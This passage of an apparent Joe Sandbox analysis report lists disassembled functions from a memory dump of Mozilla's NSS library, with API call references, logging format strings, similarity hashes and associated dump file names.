Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C760D65
Part of subcall function 6C7609D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C760D70
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760D90
Part of subcall function 6C7609D0: free.MOZGLUE(00000000), ref: 6C760D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C682D3B

Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C760BAB
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760BBA
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C682D54

Part of subcall function 6C7609D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C760BCB
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760BDE
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760C16

Strings

ulPinLen = %d, xrefs: 6C682D36
C_InitToken, xrefs: 6C682CE7
slotID = 0x%x, xrefs: 6C682D02
pLabel = 0x%p, xrefs: 6C682D4F
nvl, xrefs: 6C682D6C, 6C682D9A
pPin = 0x%p, xrefs: 6C682D1D

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nvl
API String ID: 420000887-506700037
Opcode ID: ef7b5359429b0a0586b3b60ace916b72e40df43bf4c13400fdcbc6675a6f3562
Instruction ID: 955d1e8f7988c384628d13504675b998b6af728c9adcb911813f16929084d8b2
Opcode Fuzzy Hash: ef7b5359429b0a0586b3b60ace916b72e40df43bf4c13400fdcbc6675a6f3562
Instruction Fuzzy Hash: 7B218675202148AFDB009F54DE8CE453FF6EB4235DF448034E90897A62DB309959CB7E

Function 6C722D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C722D9F

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

sqlite3_exec.NSS3(?,?,6C722F70,?,?), ref: 6C722DF9
sqlite3_free.NSS3(00000000), ref: 6C722E2C
sqlite3_free.NSS3(?), ref: 6C722E3A
sqlite3_free.NSS3(?), ref: 6C722E52
sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C722E62
sqlite3_free.NSS3(?), ref: 6C722E70
sqlite3_free.NSS3(?), ref: 6C722E89
sqlite3_free.NSS3(?), ref: 6C722EBB
sqlite3_free.NSS3(?), ref: 6C722ECB
sqlite3_free.NSS3(00000000), ref: 6C722F3E
sqlite3_free.NSS3(?), ref: 6C722F4C

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 0e6a4e4ec064bad3a4a2e42bc72709a20611f34633e53df68bd94d7e87707af0
Instruction ID: b39af2a6352e5ed4a62118d0c17db90a238e48776222c0a02910b1962d4f26b3
Opcode Fuzzy Hash: 0e6a4e4ec064bad3a4a2e42bc72709a20611f34633e53df68bd94d7e87707af0
Instruction Fuzzy Hash: E36190B5E112058BEB10CF68D989B9EB7B5EF88368F154038DC15A7701EB39E845CBA1

Function 6C667C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B2120,Function_00097E60,00000000,?,?,?,?,6C6E067D,6C6E1C60,00000000), ref: 6C667C81

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

TlsGetValue.KERNEL32 ref: 6C667CA0
EnterCriticalSection.KERNEL32(?), ref: 6C667CB4
PR_Unlock.NSS3 ref: 6C667CCF

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

TlsGetValue.KERNEL32 ref: 6C667D04
EnterCriticalSection.KERNEL32(?), ref: 6C667D1B
realloc.MOZGLUE(-00000050), ref: 6C667D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C667DF4
PR_Unlock.NSS3 ref: 6C667E0E

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 96db53677b634acf98d3b06285864869eb5c8aedae084c48ef9f62a148587d49
Instruction ID: cd0d8d44517823f72526ae685aab853acb2ea2a1c4186cb4cc9c4450451460b2
Opcode Fuzzy Hash: 96db53677b634acf98d3b06285864869eb5c8aedae084c48ef9f62a148587d49
Instruction Fuzzy Hash: D5510271A05104AFDB009F2ADC44E6537F6EB42399F154539ED0887B21EB319855CB9A

Function 6C5D4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D97
PR_Lock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DBA
PR_WaitCondVar.NSS3 ref: 6C5D4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DEF

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 8aaacbb53f269875e8be44293b8c15b2196d29bfa51fd197a381209bcb6ae6bb
Instruction ID: b5fcaae559bf753048d4b60958587037310b3b922127659d4ecc4e21f5f8e7a1
Opcode Fuzzy Hash: 8aaacbb53f269875e8be44293b8c15b2196d29bfa51fd197a381209bcb6ae6bb
Instruction Fuzzy Hash: 85414DB5A04715CFCB00EF7CD48855977F4BF06318B168A79D8989B710EB30E895CB9A

Function 6C678F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C67905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6790EC

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679111

Strings

nvl, xrefs: 6C6790A3

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nvl
API String ID: 2831689957-2622381835
Opcode ID: afe78bc33f057b9082db7b430dd6efd43c97ea06c247e4ff300a89fba2d6200a
Instruction ID: d74f2e93babd35cd936143d9b71e5b7503c60e8e16c168bc921b4e38c40c5d29
Opcode Fuzzy Hash: afe78bc33f057b9082db7b430dd6efd43c97ea06c247e4ff300a89fba2d6200a
Instruction Fuzzy Hash: 2E51AB70A042158FCF10EF38C488699BBF1BF0A358F0559B9DC449B716EB35E885CBA9

Function 6C767CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C767CE0

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767D36
PR_Realloc.NSS3(?,00000080), ref: 6C767D6D
PR_GetCurrentThread.NSS3 ref: 6C767D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C767DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767DD8
malloc.MOZGLUE(00000080), ref: 6C767DF8
PR_GetCurrentThread.NSS3 ref: 6C767E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C767DF0
:%s:%d:0x%lx, xrefs: 6C767DB9

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 4978e56abe8437ca07889259ed1ddbcdab4789e49a15037a7569e24729fe38cf
Instruction ID: 64153eb4e07bb59d13acc5c6b0697457555c35f0535ace9c42039f709e538c9a
Opcode Fuzzy Hash: 4978e56abe8437ca07889259ed1ddbcdab4789e49a15037a7569e24729fe38cf
Instruction Fuzzy Hash: 9341D8B16002059FDB04CF2ACE8596B37A9FF80358B19496CEC198BF51D731E941CBA1

Function 6C767E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C767E46

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C767EAF
PR_ImportFile.NSS3(?), ref: 6C767ECF
PR_GetCurrentThread.NSS3 ref: 6C767ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C767F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C767F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C767F15

Strings

%d:0x%lx, xrefs: 6C767EA9
NSPR_INHERIT_FDS, xrefs: 6C767E41

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 766f7eb6e59f4c25f796785d927f12365496e99f2f1ce7739f968e7251e2f7c0
Instruction ID: 5aed24a47e2b6f0d90098e2c41fc9ecb3ac5bd061177fdc0f13a5bc1c43393df
Opcode Fuzzy Hash: 766f7eb6e59f4c25f796785d927f12365496e99f2f1ce7739f968e7251e2f7c0
Instruction Fuzzy Hash: C6312170A041199BEB009B6ACA84AABB7BDEB46388F244575DC05A7E11F7219D09C792

Function 6C674E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C674E90
EnterCriticalSection.KERNEL32 ref: 6C674EA9
TlsGetValue.KERNEL32 ref: 6C674EC6
EnterCriticalSection.KERNEL32 ref: 6C674EDF
PL_HashTableLookup.NSS3 ref: 6C674EF8
PR_Unlock.NSS3 ref: 6C674F05
PR_Now.NSS3 ref: 6C674F13
PR_Unlock.NSS3 ref: 6C674F3A

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

bUgl, xrefs: 6C674F3F
bUgl, xrefs: 6C674E5C

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUgl$bUgl
API String ID: 326028414-433878880
Opcode ID: 8c04866d5e1a484c448429671e38cb2bba25ce4b7672756b61ca3b25611e7919
Instruction ID: 43928d472bb7bf6bee02f62fa467335f81323fca9321d0c8d15164fb7999d30c
Opcode Fuzzy Hash: 8c04866d5e1a484c448429671e38cb2bba25ce4b7672756b61ca3b25611e7919
Instruction Fuzzy Hash: 64417EB4A00605DFCB00EF78C0888AABBF0FF49354B118569EC598B710EB30E855CFA5

Function 6C686C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C686C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686CA3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C686CD5

Strings

C_DigestInit, xrefs: 6C686C61
pMechanism = 0x%p, xrefs: 6C686CD0
hSession = 0x%x, xrefs: 6C686C7E, 6C686C8E
(CK_INVALID_HANDLE), xrefs: 6C686C9C
nvl, xrefs: 6C686CF4, 6C686D1F

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nvl
API String ID: 1003633598-38645125
Opcode ID: 8dad9576e842aca81ca2cd24f18bfa32b0f1e9a1c020164ef6aba3e2a29f01f4
Instruction ID: c9903db8a381657514da2625c1b9aaa53de78cc17e3ab2697a7299ea8a5a6ef6
Opcode Fuzzy Hash: 8dad9576e842aca81ca2cd24f18bfa32b0f1e9a1c020164ef6aba3e2a29f01f4
Instruction Fuzzy Hash: 3521D2706021189BDB109F559E8DF9A3BB5EB46318F084035E909ABB51DF30D908CBBE

Function 6C689DD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C689DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689E33

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C689E65

Strings

C_SessionCancel, xrefs: 6C689DF1
hSession = 0x%x, xrefs: 6C689E0E, 6C689E1E
(CK_INVALID_HANDLE), xrefs: 6C689E2C
flags = 0x%x, xrefs: 6C689E60
nvl, xrefs: 6C689E7D, 6C689EA8

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel$nvl
API String ID: 1003633598-2976574969
Opcode ID: b27bd51dda6e8a0794d50718c18e7701733a80951f9541e95a9289e692512b39
Instruction ID: 3c64787e9378289bcc1afb8ed4801818213899cfff743bb56bed3a251824f273
Opcode Fuzzy Hash: b27bd51dda6e8a0794d50718c18e7701733a80951f9541e95a9289e692512b39
Instruction Fuzzy Hash: 6521A271602208AFDB009F559E8CFAA3BB5AF4634DF044434E909ABB51DB309949C7BE

Function 6C69ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C69DE64), ref: 6C69ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69ED22

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PL_FreeArenaPool.NSS3(?), ref: 6C69ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C69ED6B
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C69ED38

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C69ED52
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C69ED83
PL_FreeArenaPool.NSS3(?), ref: 6C69ED95
PL_FinishArenaPool.NSS3(?), ref: 6C69ED9D

Part of subcall function 6C6B64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C6B127C,00000000,00000000,00000000), ref: 6C6B650E

Strings

security, xrefs: 6C69ED06

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
